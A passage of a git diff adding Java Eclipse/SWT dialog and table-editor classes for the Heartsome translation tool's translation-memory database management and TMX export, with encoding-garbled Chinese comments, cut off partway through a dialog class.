filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(i); + } + } else { + if (filterDlg.open() == Window.OK) { + filterList.add(1, filterDlg.getSettingResult()); + filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(1); + } + } + } + + /** + * åˆå§‹åŒ–过滤器列表 ; + */ + private void initFilterStore() { + this.filterList = filterStore.getFilterRule("TMX"); + ExportFilterBean empty = new ExportFilterBean(); + empty.setFilterName(Messages.getString("dialog.ExportTmxDialog.empty")); + filterList.add(0, empty); + } + + /** + * åŠ è½½è¯­è¨€æ•°æ® ; + */ + private void loadData() { + if (currentDatabase == null) { // 清ç†æ•°æ® + hasSelLangListViewer.getList().removeAll(); + srcLangcomboViewer.getCombo().removeAll(); + encodingComboViewer.getCombo().setText(""); + return; + } + + // 加载所有语言 + hasSelLangListViewer.setInput(currentDatabase.getExistLangs().split(",")); + hasSelLangListViewer.setSelection(new StructuredSelection(currentDatabase.getHasSelectedLangs())); + + // 加载æºè¯­è¨€; + srcLangcomboViewer.setInput(currentDatabase.getCanSelSrcLangs()); + srcLangcomboViewer.setSelection(new StructuredSelection(currentDatabase.getSrcLang())); + + // 加载编ç åˆ—表,默认为UTF-8 + encodingComboViewer.setSelection(new StructuredSelection("UTF-8")); + + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("dialog.ExportTmxDialog.ok"), true); + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("dialog.ExportTmxDialog.cancel"), false); + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("dialog.ExportTmxDialog.clmnTitles1"), + Messages.getString("dialog.ExportTmxDialog.clmnTitles2"), + Messages.getString("dialog.ExportTmxDialog.clmnTitles3"), + Messages.getString("dialog.ExportTmxDialog.clmnTitles4") }; + int[] clmnBounds = { 50, 80, 100, 100 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getIndex(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getDbBean().getDbType(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getDbBean().getDatabaseName(); + } + }); + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getExistLangs(); + } + }); + + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(584, 559); + } + + private final class FilterLabelProvider extends LabelProvider { + + @Override + public Image getImage(Object element) { + return null; + } + + @Override + public String getText(Object element) { + if (element instanceof ExportFilterBean) { + return ((ExportFilterBean) element).getFilterName(); + } + return null; + } + } + + @Override + protected void okPressed() { + String encoding = "UTF-8"; + if (hasChangedCodingCbtn.getSelection()) { + encoding = this.encodingComboViewer.getCombo().getText(); + } + String exportPath = this.tmxFileText.getText(); + boolean isTopLevelTmx = this.isTopLevelTmxCbtn.getSelection(); + boolean isTagLevelTmx = this.isTagCbtn.getSelection(); + ExportFilterBean filterBean = null; + if (this.hasfilterCbtn.getSelection()) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + filterBean = (ExportFilterBean) sel.getFirstElement(); + if (filterBean.equals(filterList.get(0))) { + filterBean = null; + } + } + if (this.dbList.size() == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg3")); + return; + } + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean dbBean = iterator.next(); + String dbType = dbBean.getDbBean().getDbType(); + String name = dbBean.getDbBean().getDatabaseName(); + if (dbBean.getHasSelectedLangs().size() < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTmxDialog.msg4"), dbType, name)); + return; + } + if (dbBean.getSrcLang().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTmxDialog.msg5"), dbType, name)); + return; + } + } + + if (exportPath == null || exportPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg6")); + return; + } + + if (this.dbList.size() > 1) { + File f = new File(exportPath); + if (!f.isDirectory()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg8")); + return; + } + } + + if (this.dbList.size() == 1) { + File f = new File(exportPath); + if (f.isDirectory()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg9")); + return; + } + } + + if (this.dbList.size() == 1) { + dbList.get(0).setExportFilePath(exportPath); + File file = new File(exportPath); + if (file.exists()) { + if (!MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTmxDialog.msg7"), exportPath))) { + return; + } + } + } else { + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean db = iterator.next(); + String databaseName = db.getDbBean().getDatabaseName(); + String path = exportPath + System.getProperty("file.separator") + databaseName + + db.getDbBean().getDbType() + ".tmx"; + File file = new File(path); + if (file.exists()) { + if (!MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTmxDialog.msg7"), path))) { + return; + } + } + db.setExportFilePath(path); + } + } + final ExportAbstract tmxExport = new ExportTmxImpl(this.dbList, filterBean, encoding, isTopLevelTmx, + isTagLevelTmx); + Job job = new Job(Messages.getString("dialog.ExportTmxDialog.job")) { + @Override + protected IStatus run(IProgressMonitor monitor) { + final String result = DatabaseService.executeExport(tmxExport, monitor); + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.ExportTmxDialog.msgTitle"), result); + } + }); + return Status.OK_STATUS; + } + }; + job.addJobChangeListener(new JobChangeAdapter() { + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + + job.setUser(true); + job.schedule(); + super.okPressed(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ListPropCol.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ListPropCol.java new file mode 100644 index 0000000..e3a31b3 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ListPropCol.java @@ -0,0 +1,153 @@ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.lang.reflect.Method; +import java.sql.SQLException; +import java.util.HashMap; +import java.util.List; + +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.PropCol; + +/** + * 相关æœç´¢çš„列需è¦ç”¨åˆ°çš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class ListPropCol extends PropCol { + + private static final Logger LOGGER = LoggerFactory.getLogger(ListPropCol.class.getName()); + + private int index; + + public ListPropCol(String id, String label, String prop, int index) { + super(id, label, prop); + this.index = index; + } + + @SuppressWarnings("rawtypes") + public Object getValue(IRow row) { + if (row != null) { + try { + Object base = row; + for (int i = 0; i < _propPath.length; i++) { + String propName = _propPath[i]; + Method getter = base.getClass().getMethod("get" + propName, new Class[] {}); + base = getter.invoke(base, new Object[] {}); + if (index >= 0 && base instanceof List) { + List list = (List) base; + base = list.get(index); + } + } + if (_accessor == null) { + return base; + } else { + return _accessor.getValue(base); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + /** + * 处ç†æ·»åŠ /删除标记以åŠä¿å­˜ä¿®æ”¹åŽçš„值(åªä¿å­˜åœ¨è¡¨æ ¼ä¸­ï¼‰ + * @see de.jaret.util.ui.table.model.PropCol#setValue(de.jaret.util.ui.table.model.IRow, java.lang.Object) + */ + @SuppressWarnings("rawtypes") + public void setValue(IRow row, Object value) { + Object oldValue = getValue(row); + if (isRealModification(oldValue, value)) { + try { + Object base = row; + for (int i = 0; i < _propPath.length - 1; i++) { + String propName = _propPath[i]; + Method getter = base.getClass().getMethod("get" + propName, new Class[] {}); + base = getter.invoke(base, new Object[] {}); + + } + if (_accessor == null) { + Class clazz; + if (value == null) { + clazz = getContentClass(row); + } else { + if (value instanceof Enum) { + clazz = ((Enum) value).getDeclaringClass(); + } else { + clazz = value.getClass(); + } + if (clazz.equals(Boolean.class)) { + clazz = Boolean.TYPE; + } else if (clazz.equals(Integer.class)) { + clazz = Integer.TYPE; + } else if (clazz.equals(Double.class)) { + clazz = Double.TYPE; + } + } + if (index >= 0 && base instanceof XPropRow) { + XPropRow propRow = (XPropRow) base; + List list = propRow.getLstTarget(); + list.set(index, (String) value); + Method setter = base.getClass().getMethod("set" + _propPath[_propPath.length - 1], + new Class[] { list.getClass() }); + setter.invoke(base, new Object[] { list }); + } else { +// 添加/删除标记 + if (index < 0 && base instanceof XPropRow) { + XPropRow propRow = (XPropRow) base; + HashMap map = (HashMap) propRow.getDataMap(); + boolean blnIsAddTag = (Boolean)value; + MetaData metaData = (MetaData) propRow.getData("metaData"); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + try { + dbop.start(); + dbop.addOrRemoveFlag(blnIsAddTag, map.get("id")); + dbop.commit(); + } catch (SQLException e1) { + try { + dbop.rollBack(); + } catch (SQLException e) { + String text = blnIsAddTag ? Messages.getString("dialog.ListPropCol.logger1") : Messages.getString("dialog.ListPropCol.logger2"); + LOGGER.error(text + Messages.getString("dialog.ListPropCol.logger3"), e); + } + } catch (ClassNotFoundException e1) { + try { + dbop.rollBack(); + } catch (SQLException e) { + LOGGER.error(Messages.getString("dialog.ListPropCol.logger4"), e); + } + } finally{ + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + LOGGER.error("",e); + } + } + } + Method setter = base.getClass().getMethod("set" + _propPath[_propPath.length - 1], + new Class[] { clazz }); + setter.invoke(base, new Object[] { value }); + } + } else { + _accessor.setValue(base, value); + } + fireValueChanged(row, this, oldValue, value); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + throw new RuntimeException("Could not set value " + e.getLocalizedMessage()); + } + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ReadOnlyTextCellEditor.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ReadOnlyTextCellEditor.java new file mode 100644 index 0000000..798fb2a --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ReadOnlyTextCellEditor.java @@ -0,0 +1,138 @@ +package net.heartsome.cat.database.ui.tm.dialog; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Text; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.editor.CellEditorBase; +import de.jaret.util.ui.table.editor.ICellEditor; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * 使用此 Editor åªèƒ½é€‰æ‹©ç¼–辑框中的文本,ä¸èƒ½ä¿®æ”¹ + * @author peason + * @version + * @since JDK1.6 + */ +public class ReadOnlyTextCellEditor extends CellEditorBase implements ICellEditor, FocusListener { + protected boolean _multi = true; + + /** control used for editing. */ + protected Text _text; + + private int _maxrows = 6; + + public ReadOnlyTextCellEditor(boolean multi) { + _multi = multi; + } + + protected String convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + return value != null ? value.toString() : null; + } + + protected void storeValue(IRow row, IColumn column) { + String value = _text.getText(); + _column.setValue(_row, value); + } + + /** + * Create the control to be used when editing. + * @param table + * table is the parent control + */ + private void createControl(JaretTable table) { + if (_text == null) { + _table = table; + if (!_multi) { + _text = new Text(table, SWT.BORDER); + } else { + _text = new Text(table, SWT.BORDER | SWT.MULTI | SWT.WRAP); + } + + _text.addFocusListener(this); + _text.setEditable(false); + // å±è”½å³é”®èœå• +// _text.setMenu(new Menu(_text.getShell())); + } + } + + /** + * {@inheritDoc} + */ + public Control getEditorControl(JaretTable table, IRow row, IColumn column, char typedKey) { + super.getEditorControl(table, row, column, typedKey); + createControl(table); + if (typedKey != 0) { + _text.setText("" + typedKey); + _text.setSelection(1); + } else { + String value = convertValue(row, column); + _text.setText(value != null ? value : ""); + _text.selectAll(); + } + return _text; + } + + /** + * {@inheritDoc} + */ + public int getPreferredHeight() { + if (_text == null) { + return -1; + } + int lheight = _text.getLineHeight(); + int lcount = _text.getLineCount(); + if (lcount > _maxrows + 1) { + lcount = _maxrows; + } + return (lcount + 1) * lheight; + + } + + public void focusGained(FocusEvent arg0) { + } + + public void focusLost(FocusEvent arg0) { + _table.stopEditing(true); + } + + public void dispose() { + super.dispose(); + if (_text != null && !_text.isDisposed()) { + _text.removeFocusListener(this); + _text.dispose(); + } + + } + + /** + * {@inheritDoc} + */ + public void stopEditing(boolean storeInput) { + if (storeInput) { + storeValue(_row, _column); + } + _text.setVisible(false); + } + + /** + * @return the maxrows + */ + public int getMaxrows() { + return _maxrows; + } + + /** + * @param maxrows + * the maxrows to set + */ + public void setMaxrows(int maxrows) { + _maxrows = maxrows; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/TmDbManagerDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/TmDbManagerDialog.java new file mode 100644 index 0000000..625455b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/TmDbManagerDialog.java @@ -0,0 +1,1697 @@ +/** + * DatabaseManagerDialog.java + * + * Version information : + * + * Date:Dec 1, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.io.File; +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean; +import net.heartsome.cat.database.ui.core.DatabaseConfiger; +import net.heartsome.cat.database.ui.core.DbValidator; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.ImageConstants; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizard; +import net.heartsome.cat.database.ui.tm.wizard.ImportTmxWizardDialog; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.databinding.swt.WidgetProperties; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.MenuDetectEvent; +import org.eclipse.swt.events.MenuDetectListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.ShellAdapter; +import org.eclipse.swt.events.ShellEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.Sash; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmDbManagerDialog extends TrayDialog { + // The last known tree width + private static int lastTreeWidth = 180; + + private Point lastShellSize; + + /** The tree viewer. */ + private TreeViewer treeViewer; + + private Text hostText; + private Text usernameText; + private Text passwordText; + private Text instanceText; + private Text portText; + private Button searchBtn; + + private TableViewer dbTableViewer; + + private static String currDbType; + private static String lastSelectedServerId; + + /** + * 和界é¢ç›¸å…³çš„输入模型,与界é¢è¾“入组件进行绑定.与会与选择具体的é…ç½®è¿›è¡Œå…³è” + */ + private DatabaseModelBean currServer; + + private Map> treeInputMap; + private DatabaseConfiger configer; + + private Map dbMetaDataMap; + private Text locationText; + private Button borwserBtn; + private List currServerdbList; + private WritableList currServerdbListInput; + + /** + * tree pop menu + * @see #initTreePopMenu() + */ + private Menu treePopMenu; + + private Logger logger = LoggerFactory.getLogger(TmDbManagerDialog.class); + + private List needUpdateToFile = new ArrayList(); + + private Image internalDbImg = Activator.getImageDescriptor(ImageConstants.INTERNALDB).createImage(); + private Image mySqlImg = Activator.getImageDescriptor(ImageConstants.MYSQL).createImage(); + private Image oracleImg = Activator.getImageDescriptor(ImageConstants.ORACLE).createImage(); + private Image sqlServerImg = Activator.getImageDescriptor(ImageConstants.SQLSERVER).createImage(); + private Image postgreImg = Activator.getImageDescriptor(ImageConstants.POSTGRESQL).createImage(); + private Image ipImg = Activator.getImageDescriptor(ImageConstants.IP).createImage(); + private Image sqliteImg = Activator.getImageDescriptor(ImageConstants.SQLITE).createImage(); + + /** + * Create the dialog. + * @param parentShell + */ + public TmDbManagerDialog(Shell parentShell) { + super(parentShell); + this.currServer = new DatabaseModelBean(); + this.currServerdbList = new ArrayList(); + + this.configer = new DatabaseConfiger(); + this.treeInputMap = configer.getAllServerConfig(); + this.dbMetaDataMap = DatabaseService.getSystemSuportDbMetaData(); + + List dbTypeList = DatabaseService.getSystemSuportDbType(); + for (int i = 0; i < dbTypeList.size(); i++) { + String type = dbTypeList.get(i); + if (treeInputMap.containsKey(type)) { + continue; + } else { + treeInputMap.put(type, new ArrayList()); + } + } + treeInputMap.remove(Constants.DBTYPE_SQLITE); + setHelpAvailable(true); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP è®°å¿†åº“ç®¡ç† + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch06s02.html#tm-management", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TmDbManagerDialog.title")); + newShell.addShellListener(new ShellAdapter() { + public void shellActivated(ShellEvent e) { + if (lastShellSize == null) { + lastShellSize = getShell().getSize(); + } + } + }); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createContents(final Composite parent) { + Control control = super.createContents(parent); + selectSaveItem(); + return control; + } + + /** + * 选择当å‰é€‰ä¸­çš„内容 ; + */ + private void selectSaveItem() { + if (getCurrDbType() != null) { + boolean expanded = getTreeViewer().getExpandedState(getCurrDbType()); + if (!expanded) { + getTreeViewer().setExpandedState(getCurrDbType(), !expanded); + } + DatabaseModelBean lastSelectItem = findServerBean(getCurrDbType(), getLastSelectedServer()); + if (lastSelectItem != null) { + getTreeViewer().setSelection(new StructuredSelection(lastSelectItem), true); + getTreeViewer().getControl().setFocus(); + } else { + getTreeViewer().setSelection(new StructuredSelection(getCurrDbType()), true); + getTreeViewer().getControl().setFocus(); + } + } + } + + /** + * 查找上次的选中的项 + * @param dbType + * æ•°æ®åº“类型 + * @param id + * æœåŠ¡å™¨ID + * @return ; + */ + private DatabaseModelBean findServerBean(String dbType, String id) { + List list = treeInputMap.get(dbType); + if(list == null){ + return null; + } + for (int i = 0; i < list.size(); i++) { + if (list.get(i).getId().equals(id)) { + return list.get(i); + } + } + return null; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + final Composite composite = (Composite) super.createDialogArea(parent); + GridLayout parentLayout = ((GridLayout) composite.getLayout()); + parentLayout.numColumns = 4; + parentLayout.marginHeight = 0; + parentLayout.marginWidth = 0; + parentLayout.marginTop = 0; + parentLayout.verticalSpacing = 0; + parentLayout.horizontalSpacing = 0; + + Control treeControl = createTreeAreaContents(composite); + createSash(composite, treeControl); + + Label versep = new Label(composite, SWT.SEPARATOR | SWT.VERTICAL); + GridData verGd = new GridData(GridData.FILL_VERTICAL | GridData.GRAB_VERTICAL); + + versep.setLayoutData(verGd); + versep.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, true)); + + Composite pageAreaComposite = new Composite(composite, SWT.NONE); + pageAreaComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayout layout = new GridLayout(1, true); + layout.marginHeight = 0; + layout.marginWidth = 0; + layout.verticalSpacing = 0; + pageAreaComposite.setLayout(layout); + + // Build the Page container + Composite pageContainer = createPageContainer(pageAreaComposite); + GridData pageContainerData = new GridData(GridData.FILL_BOTH); + pageContainerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + pageContainer.setLayoutData(pageContainerData); + // Build the separator line + Label bottomSeparator = new Label(parent, SWT.HORIZONTAL | SWT.SEPARATOR); + bottomSeparator.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + return composite; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + if(dialogType == TYPE_DBMANAGE){ + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CLOSE_LABEL, false); + } else { + super.createButtonsForButtonBar(parent); + } + getShell().setDefaultButton(searchBtn); + initDataBindings(); + } + + private int dialogType = 0; // default is DatabaseManager + public static final int TYPE_DBMANAGE = 0; + public static final int TYPE_DBSELECTED = 1; + + /** + * 设置对è¯æ¡†çš„用处,决定了生æˆçš„按钮 + * @param type + * ; + */ + public void setDialogUseFor(int type) { + this.dialogType = type; + } + + public int getDialogUseFor() { + return this.dialogType; + } + + /** + * 创建å³ä¾§é¡µé¢å†…容 + * @param parent + * 页é¢å®¹å™¨ + * @return ; + */ + protected Composite createPageContainer(Composite parent) { + + Composite outer = new Composite(parent, SWT.NONE); + + GridData outerData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + outerData.horizontalIndent = IDialogConstants.HORIZONTAL_MARGIN; + + outer.setLayout(new GridLayout()); + outer.setLayoutData(outerData); + + // Create an outer composite for spacing + ScrolledComposite scrolled = new ScrolledComposite(outer, SWT.V_SCROLL | SWT.H_SCROLL); + + // always show the focus control + scrolled.setShowFocusedControl(true); + scrolled.setExpandHorizontal(true); + scrolled.setExpandVertical(true); + + scrolled.setLayoutData(new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL)); + GridLayout gld = new GridLayout(1, false); + gld.marginWidth = 0; + gld.marginHeight = 0; + scrolled.setLayout(gld); + + Composite result = new Composite(scrolled, SWT.NONE); + + GridData resultData = new GridData(GridData.FILL_BOTH | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL); + result.setLayoutData(resultData); + GridLayout gl_result = new GridLayout(1, false); + gl_result.marginWidth = 0; + gl_result.marginHeight = 0; + result.setLayout(gl_result); + + Group parameterGroup = new Group(result, SWT.NONE); + parameterGroup.setText(Messages.getString("dialog.TmDbManagerDialog.parameterGroup")); + GridLayout parameterLayout = new GridLayout(4, false); + parameterGroup.setLayout(parameterLayout); + + GridData parameterGridData = new GridData(GridData.FILL_HORIZONTAL); + parameterGroup.setLayoutData(parameterGridData); + + Label label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblHost")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + hostText = new Text(parameterGroup, SWT.BORDER); + hostText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + label = new Label(parameterGroup, SWT.RIGHT); + label.setText(Messages.getString("dialog.TmDbManagerDialog.lblPort")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(label); + + portText = new Text(parameterGroup, 